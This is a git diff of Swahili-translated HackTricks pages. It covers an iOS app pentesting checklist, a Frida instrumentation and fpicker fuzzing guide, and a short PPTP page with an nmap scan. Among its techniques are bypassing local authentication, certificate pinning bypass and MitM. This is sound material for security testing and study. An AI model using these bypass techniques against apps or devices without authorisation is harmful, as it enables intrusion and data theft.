* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -3,7 +3,7 @@
|
|||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kujiendesha kiotomatiki** kwa urahisi kazi zinazotolewa na zana za jamii **zilizoendelea zaidi** duniani.\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kujiendesha kiotomatiki** kwa urahisi kwa kutumia zana za jamii **zilizoendelea zaidi** duniani.\
|
||||
Pata Ufikiaji Leo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
@ -17,114 +17,100 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Maandalizi
|
||||
### Preparation
|
||||
|
||||
* [ ] Soma [**Misingi ya iOS**](ios-pentesting/ios-basics.md)
|
||||
* [ ] Andaa mazingira yako kwa kusoma [**Mazingira ya Upimaji wa iOS**](ios-pentesting/ios-testing-environment.md)
|
||||
* [ ] Soma sehemu zote za [**Analizi ya Awali ya iOS**](ios-pentesting/#initial-analysis) ili kujifunza vitendo vya kawaida vya pentest programu ya iOS
|
||||
|
||||
### Hifadhi ya Data
|
||||
### Data Storage
|
||||
|
||||
* [ ] [**Faili za Plist**](ios-pentesting/#plist) zinaweza kutumika kuhifadhi taarifa nyeti.
|
||||
* [ ] [**Core Data**](ios-pentesting/#core-data) (hifadhi ya SQLite) inaweza kuhifadhi taarifa nyeti.
|
||||
* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (hifadhi ya SQLite) inaweza kuhifadhi taarifa nyeti.
|
||||
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) kukosekana kwa usanidi sahihi.
|
||||
* [ ] [**Hifadhi za Realm**](ios-pentesting/#realm-databases) zinaweza kuhifadhi taarifa nyeti.
|
||||
* [ ] [**Hifadhi za Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) zinaweza kuhifadhi taarifa nyeti.
|
||||
* [ ] [**Keki za Binary**](ios-pentesting/#cookies) zinaweza kuhifadhi taarifa nyeti
|
||||
* [ ] [**Core Data**](ios-pentesting/#core-data) (hifadhidata ya SQLite) inaweza kuhifadhi taarifa nyeti.
|
||||
* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (hifadhidata ya SQLite) inaweza kuhifadhi taarifa nyeti.
|
||||
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) usakinishaji mbaya.
|
||||
* [ ] [**Hifadhidata za Realm**](ios-pentesting/#realm-databases) zinaweza kuhifadhi taarifa nyeti.
|
||||
* [ ] [**Hifadhidata za Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) zinaweza kuhifadhi taarifa nyeti.
|
||||
* [ ] [**Kuki za Binary**](ios-pentesting/#cookies) zinaweza kuhifadhi taarifa nyeti
|
||||
* [ ] [**Data ya Cache**](ios-pentesting/#cache) inaweza kuhifadhi taarifa nyeti
|
||||
* [ ] [**Picha za kiotomatiki**](ios-pentesting/#snapshots) zinaweza kuokoa taarifa nyeti za kuona
|
||||
* [ ] [**Snapshots za Kiotomatiki**](ios-pentesting/#snapshots) zinaweza kuokoa taarifa nyeti za kuona
|
||||
* [ ] [**Keychain**](ios-pentesting/#keychain) kwa kawaida hutumiwa kuhifadhi taarifa nyeti ambazo zinaweza kuachwa wakati wa kuuza tena simu.
|
||||
* [ ] Kwa muhtasari, **angalia tu taarifa nyeti zilizohifadhiwa na programu kwenye mfumo wa faili**
|
||||
|
||||
### Kibodi
|
||||
### Keyboards
|
||||
|
||||
* [ ] Je, programu inaruhusu [**kutumia kibodi za kawaida**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
||||
* [ ] Angalia kama taarifa nyeti zimehifadhiwa kwenye [**faili za cache za kibodi**](ios-pentesting/#custom-keyboards-keyboard-cache)
|
||||
* [ ] Je, programu [**inaruhusu kutumia keyboards za kawaida**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
||||
* [ ] Angalia kama taarifa nyeti zimehifadhiwa katika [**faili za cache za keyboards**](ios-pentesting/#custom-keyboards-keyboard-cache)
|
||||
|
||||
### **Makaratasi**
|
||||
### **Logs**
|
||||
|
||||
* [ ] Angalia kama [**taarifa nyeti zinaandikwa**](ios-pentesting/#logs)
|
||||
|
||||
### Nakala
|
||||
### Backups
|
||||
|
||||
* [ ] [**Nakala**](ios-pentesting/#backups) zinaweza kutumika **kupata taarifa nyeti** zilizohifadhiwa kwenye mfumo wa faili (angalia hatua ya awali ya orodha hii)
|
||||
* [ ] Pia, [**nakala**](ios-pentesting/#backups) zinaweza kutumika **kubadilisha usanidi fulani wa programu**, kisha **rejesha** nakala kwenye simu, na kama **usanidi uliobadilishwa** ume **pakiwa** baadhi ya (usalama) **kazi** zinaweza **kuepukwa**
|
||||
* [ ] [**Backups**](ios-pentesting/#backups) zinaweza kutumika **kufikia taarifa nyeti** zilizohifadhiwa kwenye mfumo wa faili (angalia hatua ya awali ya orodha hii)
|
||||
* [ ] Pia, [**backups**](ios-pentesting/#backups) zinaweza kutumika **kubadilisha baadhi ya mipangilio ya programu**, kisha **rejesha** backup kwenye simu, na kama **mipangilio iliyobadilishwa** in **pakiwa** baadhi ya (usalama) **kazi** zinaweza **kuepukwa**
|
||||
|
||||
### **Kumbukumbu za Programu**
|
||||
### **Applications Memory**
|
||||
|
||||
* [ ] Angalia taarifa nyeti ndani ya [**kumbukumbu ya programu**](ios-pentesting/#testing-memory-for-sensitive-data)
|
||||
|
||||
### **Cryptography Iliyovunjika**
|
||||
### **Broken Cryptography**
|
||||
|
||||
* [ ] Angalia kama unaweza kupata [**nywila zinazotumika kwa cryptography**](ios-pentesting/#broken-cryptography)
|
||||
* [ ] Angalia kama unaweza kupata [**nywila zinazotumika kwa ajili ya cryptography**](ios-pentesting/#broken-cryptography)
|
||||
* [ ] Angalia matumizi ya [**algorithms zilizopitwa na wakati/za udhaifu**](ios-pentesting/#broken-cryptography) kutuma/kuhifadhi data nyeti
|
||||
* [ ] [**Hook na ufuatiliaji wa kazi za cryptography**](ios-pentesting/#broken-cryptography)
|
||||
|
||||
### **Uthibitishaji wa Mitaa**
|
||||
### **Local Authentication**
|
||||
|
||||
* [ ] Ikiwa [**uthibitishaji wa mitaa**](ios-pentesting/#local-authentication) unatumika kwenye programu, unapaswa kuangalia jinsi uthibitishaji unavyofanya kazi.
|
||||
* [ ] Ikiwa inatumia [**Msingi wa Uthibitishaji wa Mitaa**](ios-pentesting/#local-authentication-framework) inaweza kuepukwa kwa urahisi
|
||||
* [ ] Ikiwa inatumia [**kazi ambayo inaweza kuepukwa kwa dinamik**](ios-pentesting/#local-authentication-using-keychain) unaweza kuunda skripti maalum ya frida
|
||||
* [ ] Ikiwa [**uthibitishaji wa ndani**](ios-pentesting/#local-authentication) unatumika katika programu, unapaswa kuangalia jinsi uthibitishaji unavyofanya kazi.
|
||||
* [ ] Ikiwa inatumia [**Msingi wa Uthibitishaji wa Ndani**](ios-pentesting/#local-authentication-framework) inaweza kuepukwa kwa urahisi
|
||||
* [ ] Ikiwa inatumia [**kazi ambayo inaweza kuepukwa kwa dinamik**](ios-pentesting/#local-authentication-using-keychain) unaweza kuunda script maalum ya frida
|
||||
|
||||
### Ufunuo wa Kazi Nyeti Kupitia IPC
|
||||
### Sensitive Functionality Exposure Through IPC
|
||||
|
||||
* [**Wakilishi wa URI za Kawaida / Deeplinks / Mipango ya Kawaida**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
* [ ] Angalia kama programu in **sajili protokali/mipango yoyote**
|
||||
* [ ] Angalia kama programu in **sajili kutumia** protokali/mipango yoyote
|
||||
* [ ] Angalia kama programu **inasubiri kupokea aina yoyote ya taarifa nyeti** kutoka kwa mpango wa kawaida ambao unaweza **kukamatwa** na programu nyingine inayosajili mpango sawa
|
||||
* [ ] Angalia kama programu **haiangalii na kusafisha** pembejeo za watumiaji kupitia mpango wa kawaida na baadhi ya **udhaifu unaweza kutumika**
|
||||
* [ ] Angalia kama programu **inafunua hatua yoyote nyeti** ambayo inaweza kuitwa kutoka mahali popote kupitia mpango wa kawaida
|
||||
* [**Viungo vya Kijumla**](ios-pentesting/#universal-links)
|
||||
* [ ] Angalia kama programu in **sajili protokali/mipango yoyote ya kijumla**
|
||||
* [**Custom URI Handlers / Deeplinks / Custom Schemes**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
* [ ] Angalia kama programu **inasajili protokali/scheme yoyote**
|
||||
* [ ] Angalia kama programu **inasajili kutumia** protokali/scheme yoyote
|
||||
* [ ] Angalia kama programu **inasubiri kupokea aina yoyote ya taarifa nyeti** kutoka kwa scheme maalum ambayo inaweza **kukamatwa** na programu nyingine inayosajili scheme hiyo hiyo
|
||||
* [ ] Angalia kama programu **haiangalii na kusafisha** pembejeo za watumiaji kupitia scheme maalum na baadhi ya **udhaifu unaweza kutumika**
|
||||
* [ ] Angalia kama programu **inaweka wazi hatua yoyote nyeti** ambayo inaweza kuitwa kutoka mahali popote kupitia scheme maalum
|
||||
* [**Universal Links**](ios-pentesting/#universal-links)
|
||||
* [ ] Angalia kama programu **inasajili protokali/scheme yoyote ya ulimwengu**
|
||||
* [ ] Angalia faili ya `apple-app-site-association`
|
||||
* [ ] Angalia kama programu **haiangalii na kusafisha** pembejeo za watumiaji kupitia mpango wa kawaida na baadhi ya **udhaifu unaweza kutumika**
|
||||
* [ ] Angalia kama programu **inafunua hatua yoyote nyeti** ambayo inaweza kuitwa kutoka mahali popote kupitia mpango wa kawaida
|
||||
* [**Ugawaji wa UIActivity**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [ ] Angalia kama programu **haiangalii na kusafisha** pembejeo za watumiaji kupitia scheme maalum na baadhi ya **udhaifu unaweza kutumika**
|
||||
* [ ] Angalia kama programu **inaweka wazi hatua yoyote nyeti** ambayo inaweza kuitwa kutoka mahali popote kupitia scheme maalum
|
||||
* [**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [ ] Angalia kama programu inaweza kupokea UIActivities na ikiwa inawezekana kutumia udhaifu wowote na shughuli iliyoundwa kwa makusudi
|
||||
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
|
||||
* [ ] Angalia kama programu in **nakala chochote kwenye pasteboard ya jumla**
|
||||
* [ ] Angalia kama programu in **tumia data kutoka pasteboard ya jumla kwa chochote**
|
||||
* [ ] Fuata pasteboard kuona kama **data nyeti inanakiliwa**
|
||||
* [ ] Angalia kama programu **inaiga chochote kwenye pasteboard ya jumla**
|
||||
* [ ] Angalia kama programu **ina matumizi ya data kutoka pasteboard ya jumla kwa chochote**
|
||||
* [ ] Fuata pasteboard kuona kama **data nyeti inakopiwa**
|
||||
* [**App Extensions**](ios-pentesting/ios-app-extensions.md)
|
||||
* [ ] Je, programu in **atumia nyongeza yoyote**?
|
||||
* [ ] Je, programu **inatumia nyongeza yoyote**?
|
||||
* [**WebViews**](ios-pentesting/ios-webviews.md)
|
||||
* [ ] Angalia ni aina gani ya webviews zinazotumika
|
||||
* [ ] Angalia hali ya **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
|
||||
* [ ] Angalia kama webview inaweza **kupata faili za ndani** kwa protokali **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
|
||||
* [ ] Angalia kama Javascript inaweza kupata **mbinu za** **Asili** (`JSContext`, `postMessage`)
|
||||
* [ ] Angalia kama webview inaweza **kufikia faili za ndani** kwa kutumia protokali **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
|
||||
* [ ] Angalia kama Javascript inaweza kufikia **Mbinu** **za Asili** (`JSContext`, `postMessage`)
|
||||
|
||||
### Mawasiliano ya Mtandao
|
||||
### Network Communication
|
||||
|
||||
* [ ] Fanya [**MitM kwa mawasiliano**](ios-pentesting/#network-communication) na tafuta udhaifu wa wavuti.
|
||||
* [ ] Angalia kama [**jina la mwenyeji la cheti**](ios-pentesting/#hostname-check) linaangaliwa
|
||||
* [ ] Angalia/Kuepuka [**Kuweka Cheti**](ios-pentesting/#certificate-pinning)
|
||||
* [ ] Angalia kama [**jina la mwenyeji la cheti**](ios-pentesting/#hostname-check) linakaguliwa
|
||||
* [ ] Angalia/Kuepuka [**Certificate Pinning**](ios-pentesting/#certificate-pinning)
|
||||
|
||||
### **Mengineyo**
|
||||
### **Misc**
|
||||
|
||||
* [ ] Angalia [**mitindo ya kiotomatiki ya patching/kuongeza**](ios-pentesting/#hot-patching-enforced-updateing)
|
||||
* [ ] Angalia [**mifumo ya kujiendesha kiotomatiki**](ios-pentesting/#hot-patching-enforced-updateing)
|
||||
* [ ] Angalia [**maktaba za wahusika wa tatu zenye uharibifu**](ios-pentesting/#third-parties)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
@ -134,8 +120,8 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
@ -143,7 +129,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kujiendesha kiotomatiki** kwa urahisi kazi zinazotolewa na zana za jamii **zilizoendelea zaidi** duniani.\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kujiendesha kiotomatiki** kwa urahisi kwa kutumia zana za jamii **zilizoendelea zaidi** duniani.\
|
||||
Pata Ufikiaji Leo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
|||
|
|
@ -15,34 +15,20 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya kutafuta inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Installing Frida
|
||||
|
||||
**Hatua za kufunga Frida kwenye kifaa kilichovunjwa:**
|
||||
|
||||
1. Fungua programu ya Cydia/Sileo.
|
||||
2. Nenda kwa Manage -> Sources -> Edit -> Add.
|
||||
2. Nenda kwenye Manage -> Sources -> Edit -> Add.
|
||||
3. Ingiza "https://build.frida.re" kama URL.
|
||||
4. Nenda kwenye chanzo kipya cha Frida kilichoongezwa.
|
||||
5. Sakinisha pakiti ya Frida.
|
||||
|
||||
Ikiwa unatumia **Corellium** utahitaji kupakua toleo la Frida kutoka [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) na kufungua na nakala kwenye eneo la dylib ambalo Frida inahitaji, mfano: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
|
||||
Ikiwa unatumia **Corellium** utahitaji kupakua toleo la Frida kutoka [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) na ufungue na nakili kwenye eneo la dylib ambalo Frida inahitaji, mfano: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
|
||||
|
||||
Baada ya kufunga, unaweza kutumia kwenye PC yako amri **`frida-ls-devices`** na kuangalia kwamba kifaa kinaonekana (PC yako inahitaji kuwa na uwezo wa kukifikia).\
|
||||
Tekeleza pia **`frida-ps -Uia`** kuangalia michakato inayoendesha ya simu.
|
||||
Baada ya kusakinishwa, unaweza kutumia kwenye PC yako amri **`frida-ls-devices`** na kuangalia kwamba kifaa kinaonekana (PC yako inahitaji kuwa na uwezo wa kukifikia).\
|
||||
Tekeleza pia **`frida-ps -Uia`** kuangalia michakato inayofanya kazi kwenye simu.
|
||||
|
||||
## Frida bila kifaa kilichovunjwa & bila kubadilisha programu
|
||||
|
||||
|
|
@ -50,12 +36,12 @@ Angalia chapisho hili la blog kuhusu jinsi ya kutumia Frida kwenye vifaa visivyo
|
|||
|
||||
## Frida Client Installation
|
||||
|
||||
Sakinisha **frida tools**:
|
||||
Sakinisha **zana za frida**:
|
||||
```bash
|
||||
pip install frida-tools
|
||||
pip install frida
|
||||
```
|
||||
Na seva ya Frida imewekwa na kifaa kinaendesha na kuunganishwa, **angalia** ikiwa mteja **unafanya kazi**:
|
||||
Na seva ya Frida imewekwa na kifaa kinaendesha na kuunganishwa, **angalia** ikiwa mteja unafanya **kazi**:
|
||||
```bash
|
||||
frida-ls-devices # List devices
|
||||
frida-ps -Uia # Get running processes
|
||||
|
|
@ -84,7 +70,7 @@ frida-trace -U -W <if-plugin-bin> -m '*[* *]'
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Pata **madarasa** **yote** yanayopatikana (chujio kwa nyuzi)
|
||||
* Pata **madarasa** **yote** yanayopatikana (chujio kwa nyenzo)
|
||||
|
||||
{% code title="/tmp/script.js" %}
|
||||
```javascript
|
||||
|
|
@ -132,7 +118,7 @@ console.log("Objective-C runtime is not available.");
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
* **Piga simu kwa kazi**
|
||||
* **Piga kazi**
|
||||
```javascript
|
||||
// Find the address of the function to call
|
||||
const func_addr = Module.findExportByName("<Prog Name>", "<Func Name>");
|
||||
|
|
@ -213,7 +199,7 @@ Hii ni ya kuvutia kutoka kwa madhumuni ya debugging lakini kwa fuzzing, kuwa na
|
|||
|
||||
[**fpicker**](https://github.com/ttdennis/fpicker) ni **Frida-based fuzzing suite** inayotoa aina mbalimbali za fuzzing modes kwa fuzzing ya ndani, kama vile hali ya AFL++ au hali ya kufuatilia isiyo ya moja kwa moja. Inapaswa kufanya kazi kwenye majukwaa yote yanayoungwa mkono na Frida.
|
||||
|
||||
* [**Sakinisha fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
|
||||
* [**Install fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
|
||||
```bash
|
||||
# Get fpicker
|
||||
git clone https://github.com/ttdennis/fpicker
|
||||
|
|
@ -324,11 +310,11 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Katika kesi hii **haturejeshi programu au kurejesha hali** baada ya kila payload. Hivyo, ikiwa Frida itapata **crash** **ingizo** linalofuata baada ya payload hiyo linaweza pia **kufanya programu ishindwe** (kwa sababu programu iko katika hali isiyo thabiti) hata kama **ingizo halipaswi kufanya** programu ishindwe.
|
||||
Katika kesi hii **haturejeshi programu au kurejesha hali** baada ya kila payload. Hivyo, ikiwa Frida itapata **crash** ingawa **ingizo la pili** baada ya payload hiyo linaweza pia **kusababisha programu kuanguka** (kwa sababu programu iko katika hali isiyo thabiti) hata kama **ingizo halipaswi kuangusha** programu.
|
||||
|
||||
Zaidi ya hayo, Frida itashughulikia ishara za makosa za iOS, hivyo wakati **Frida itakapopata crash**, labda **ripoti za makosa za iOS hazitazalishwa**.
|
||||
|
||||
Ili kuzuia hili, kwa mfano, tunaweza kurejesha programu baada ya kila crash ya Frida.
|
||||
Ili kuzuia hili, kwa mfano, tunaweza kurestart programu baada ya kila crash ya Frida.
|
||||
{% endhint %}
|
||||
|
||||
### Logs & Crashes
|
||||
|
|
@ -374,17 +360,6 @@ iOS inahifadhi tu ajali 25 za programu moja, hivyo unahitaji kusafisha hiyo au i
|
|||
|
||||
* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **kuyumbishwa** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware ya kuiba taarifa.
|
||||
|
||||
You can check their website and try their engine for **free** at:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
|||
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **kimeathiriwa** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Point-to-Point Tunneling Protocol (PPTP)** ni njia inayotumiwa sana kwa **remote access** kwa vifaa vya rununu. Inatumia **TCP port 1723** kwa ajili ya kubadilishana funguo, wakati **IP protocol 47** (Generic Routing Encapsulation, au **GRE**), inatumika kupeleka data ambayo inatumwa kati ya washirika. Mpangilio huu ni muhimu kwa kuanzisha njia salama ya mawasiliano kupitia mtandao, kuhakikisha kuwa data inayobadilishana inabaki kuwa ya siri na kulindwa dhidi ya ufikiaji usioidhinishwa.
|
||||
**Point-to-Point Tunneling Protocol (PPTP)** ni njia inayotumika sana kwa **ufikiaji wa mbali** kwa vifaa vya rununu. Inatumia **TCP port 1723** kwa ajili ya kubadilishana funguo, wakati **IP protocol 47** (Generic Routing Encapsulation, au **GRE**), inatumika kuficha data inayotumwa kati ya washirika. Mpangilio huu ni muhimu kwa kuanzisha njia salama ya mawasiliano kupitia mtandao, kuhakikisha kuwa data inayobadilishana inabaki kuwa ya siri na kulindwa dhidi ya ufikiaji usioidhinishwa.
|
||||
|
||||
**Default Port**:1723
|
||||
|
||||
|
|
@ -47,8 +34,8 @@ nmap –Pn -sSV -p1723 <IP>
|
|||
* [https://github.com/moxie0/chapcrack](https://github.com/moxie0/chapcrack)
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
|||
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
